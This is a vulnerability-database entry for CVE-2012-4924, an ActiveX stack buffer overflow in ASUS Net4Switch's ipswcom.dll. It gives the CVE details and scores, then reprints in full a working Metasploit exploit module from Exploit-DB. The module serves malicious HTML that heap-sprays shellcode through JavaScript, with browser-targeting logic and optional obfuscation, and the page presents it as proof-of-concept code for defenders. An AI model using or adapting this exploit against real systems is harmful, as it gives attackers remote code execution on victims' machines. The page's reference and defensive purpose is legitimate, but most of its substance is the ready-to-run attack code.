VIR Vulnerability Intelligence Relay

CVE-2012-4924

critical
Published 2012-09-15 · Modified 2026-04-29
💬 Discuss on Community ✚ Propose mitigation
CVSS v3
—
CVSS v4 NEW
—
not yet in upstream
VIR risk
10.0

Description

Buffer overflow in the CxDbgPrint function in the ipswcom.dll ActiveX component 1.0.0.1 for ASUS Net4Switch 1.0.0020 allows remote attackers to execute arbitrary code via a long parameter to the Alert method.

Predictions

Exploit likelihood
20%
Patch ETA
—

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-18538 remote windows verified ruby · 5 KB
Metasploit · 2012-02-29

ASUS Net4Switch - 'ipswcom.dll' ActiveX Stack Buffer Overflow (Metasploit)

ruby exploit Source: Exploit-DB 
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info={})
		super(update_info(info,
			'Name'           => "ASUS Net4Switch ipswcom.dll ActiveX Stack Buffer Overflow",
			'Description'    => %q{
					This module exploits a vulnerability found in ASUS Net4Switch's ipswcom.dll
				ActiveX control.  A buffer overflow condition is possible in multiple places all
				because of the poor use of the CxDbgPrint() function, which allows remote attackers
				to gain arbitrary code execution under the context of the user.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Dmitriy Evdokimov', #Initial discovery, poc
					'sinn3r'             #Metasploit
				],
			'References'     =>
				[
					[ 'OSVDB', 'http://osvdb.org/show/osvdb/79438' ],
					[ 'URL', 'http://dsecrg.com/pages/vul/show.php?id=417' ]
				],
			'Payload'        =>
				{
					'BadChars'        => "\x00",
					'StackAdjustment' => -3500,
				},
			'DefaultOptions'  =>
				{
					'ExitFunction'         => "seh",
					'InitialAutoRunScript' => 'migrate -f',
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Automatic', {} ],
					[ 'IE 6 on Windows XP SP3', { 'Max' => '0x40000', 'Offset' => '0x500' } ],
					[ 'IE 7 on Windows XP SP3', { 'Max' => '0x40000', 'Offset' => '0x500' } ]
				],
			'Privileged'     => false,
			'DisclosureDate' => "Feb 17 2012",
			'DefaultTarget'  => 0))

		register_options(
			[
				OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
			], self.class)
	end

	def get_target(agent)
		return target if target.name != 'Automatic'

		if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
			return targets[1]  #IE 6 on Windows XP SP3
		elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
			return targets[2]  #IE 7 on Windows XP SP3
		else
			return nil
		end
	end

	def on_request_uri(cli, request)
		agent = request.headers['User-Agent']
		my_target = get_target(agent)

		if my_target.nil?
			print_error("Browser not supported: #{agent.to_s}: #{cli.peerhost}:#{cli.peerport}")
			send_not_found(cli)
			return
		end

		p = payload.encoded
		js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
		nops = Rex::Text.to_unescape(make_nops(4))

		spray = <<-JS
		var heap_obj = new heapLib.ie(0x20000);
		var code = unescape("#{js_code}");
		var nops = unescape("#{nops}");

		while (nops.length < 0x80000) nops += nops;
		var offset = nops.substring(0, #{my_target['Offset']});
		var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);

		while (shellcode.length < 0x40000) shellcode += shellcode;
		var block = shellcode.substring(0, (0x80000-6)/2);

		heap_obj.gc();

		for (var i=1; i < 0x300; i++) {
			heap_obj.alloc(block);
		}
		JS

		spray = heaplib(spray, {:noobfu => true})

		js = <<-JS
		var obj = new ActiveXObject("ipswcom.IPSWComItf");

		#{spray}

		function generate_padding(d, s) {
			var tmp = d;
			while (tmp.length < s) {
				tmp += tmp;
			}
			var buf = tmp.substring(0, s/2);
			tmp = null;
			return buf;
		}

		var arg1 = generate_padding(unescape("%u4141"), 4);

		var arg2 = "A"; // Expands to 0x0041, helps us to align the stack
		arg2 += generate_padding(unescape("%u4343"), 2680);
		arg2 += unescape("%u4242%u4242");
		arg2 += unescape("%u0d0d%u0d0d");
		arg2 += generate_padding(unescape("%u0d0d"), #{my_target['Max']}-arg2.length);

		obj.MsgBox(arg1, arg2, 2);
		JS

		#obfuscate on demand
		if datastore['OBFUSCATE']
			js = ::Rex::Exploitation::JSObfu.new(js)
			js.obfuscate
		end

		html = <<-EOS
		<html>
		<head>
		</head>
		<body>
		<script>
		#{js}
		</script>
		</body>
		</html>
		EOS

		html = html.gsub(/\t\t/, '')

		print_status("Sending html to #{cli.peerhost}:#{cli.peerport}...")
		send_response(cli, html, {'Content-Type'=>'text/html'})

	end

end

=begin
Download:
http://www.softpedia.com/progDownload/ASUS-Net4Switch-Download-203619.html

clsid:1B9E86D8-7CAF-46C8-9938-569B21E17A8E
C:\Program Files\ASUS\Net4Switch\ipswcom.dll

.text:10030523                 push    ecx
.text:10030524                 mov     eax, [ebp+arg_C]
.text:10030527                 mov     [ebp+var_4], eax
.text:1003052A                 cmp     [ebp+var_4], 0
.text:1003052E                 jz      short loc_10030541  <-- uType 10h
.text:10030530                 cmp     [ebp+var_4], 1
.text:10030534                 jz      short loc_10030573  <-- uType 44h
.text:10030536                 cmp     [ebp+var_4], 2
.text:1003053A                 jz      short loc_100305A5  <-- CxDbgPrint
...
.text:100305A5 loc_100305A5:                           ; CODE XREF: MsgBox+1Aj
.text:100305A5                 mov     eax, [ebp+lpText]
.text:100305A8                 push    eax
.text:100305A9                 push    offset aIpsw_alertS ; "[IPSW_alert] = %s"
.text:100305AE                 push    0FFh
.text:100305B3                 call    ds:CxDbgPrint
=end

Metasploit modules

exploit_windows/browser/asus_net4switch_ipswcom rank 300
ASUS Net4Switch ipswcom.dll ActiveX Stack Buffer Overflow
Source fetch failed: fetch_error — view the original via the link above.

Application impact
VendorProductVersionsFixed
asusipswcom_activex_component1.0.0.1
asusnet4switch1.0.0020

References

CWEs

CWE-119

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.